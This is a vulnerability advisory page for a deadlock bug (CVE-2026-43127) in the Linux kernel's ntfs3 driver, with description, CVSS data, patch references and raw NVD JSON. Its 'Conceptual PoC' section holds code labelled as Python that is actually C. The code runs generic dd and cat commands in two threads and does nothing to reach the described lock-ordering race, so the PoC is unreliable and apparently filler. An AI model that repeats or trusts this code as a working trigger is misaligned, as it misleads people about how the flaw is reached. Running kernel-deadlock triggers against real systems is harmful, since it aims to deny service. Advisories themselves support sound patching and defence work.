CVE-2026-43127

Description

In the Linux kernel, the following vulnerability has been resolved: ntfs3: fix circular locking dependency in run_unpack_ex Syzbot reported a circular locking dependency between wnd->rw_lock (sbi->used.bitmap) and ni->file.run_lock. The deadlock scenario: 1. ntfs_extend_mft() takes ni->file.run_lock then wnd->rw_lock. 2. run_unpack_ex() takes wnd->rw_lock then tries to acquire ni->file.run_lock inside ntfs_refresh_zone(). This creates an AB-BA deadlock. Fix this by using down_read_trylock() instead of down_read() when acquiring run_lock in run_unpack_ex(). If the lock is contended, skip ntfs_refresh_zone() - the MFT zone will be refreshed on the next MFT operation. This breaks the circular dependency since we never block waiting for run_lock while holding wnd->rw_lock.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (versions prior to specific commits in stable branches)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual PoC to trigger the race condition
// This requires a mounted ntfs3 filesystem.

#include <pthread.h>
#include <stdio.h>
#include <unistd.h>

void* thread_extend_mft(void* arg) {
    // Perform operations that trigger ntfs_extend_mft
    // e.g., writing large files to fill MFT
    system("dd if=/dev/zero of=/mnt/ntfs/testfile bs=1M count=100");
    return NULL;
}

void* thread_unpack(void* arg) {
    // Perform operations that trigger run_unpack_ex
    // e.g., reading specific metadata or triggering bitmap operations
    system("cat /mnt/ntfs/large_file");
    return NULL;
}

int main() {
    pthread_t t1, t2;
    
    printf("Starting race condition trigger for CVE-2026-43127...\n");
    
    pthread_create(&t1, NULL, thread_extend_mft, NULL);
    pthread_create(&t2, NULL, thread_unpack, NULL);
    
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43127
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43127
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43127/
[4] VulDB https://vuldb.com/cve/CVE-2026-43127
[5] https://git.kernel.org/stable/c/08ce2fee1b869ecbfbd94e0eb2630e52203a2e03
[6] https://git.kernel.org/stable/c/b014372b62237521444ee51384549bdf48b79015
[7] https://git.kernel.org/stable/c/b8d22d9d8260b0f4f4d8e2898c98037c9982ea66

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43127", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:29.727", "lastModified": "2026-05-08T17:54:46.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nntfs3: fix circular locking dependency in run_unpack_ex\n\nSyzbot reported a circular locking dependency between wnd->rw_lock\n(sbi->used.bitmap) and ni->file.run_lock.\n\nThe deadlock scenario:\n1. ntfs_extend_mft() takes ni->file.run_lock then wnd->rw_lock.\n2. run_unpack_ex() takes wnd->rw_lock then tries to acquire\n ni->file.run_lock inside ntfs_refresh_zone().\n\nThis creates an AB-BA deadlock.\n\nFix this by using down_read_trylock() instead of down_read() when\nacquiring run_lock in run_unpack_ex(). If the lock is contended,\nskip ntfs_refresh_zone() - the MFT zone will be refreshed on the\nnext MFT operation. This breaks the circular dependency since we\nnever block waiting for run_lock while holding wnd->rw_lock."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.66", "versionEndExcluding": "6.18.16", "matchCriteriaId": "C8B0BDB8-5231-48C2-9E23-019AE9ADD6EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/08ce2fee1b869ecbfbd94e0eb2630e52203a2e03", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b014372b62237521444ee51384549bdf48b79015", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b8d22d9d8260b0f4f4d8e2898c98037c9982ea66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}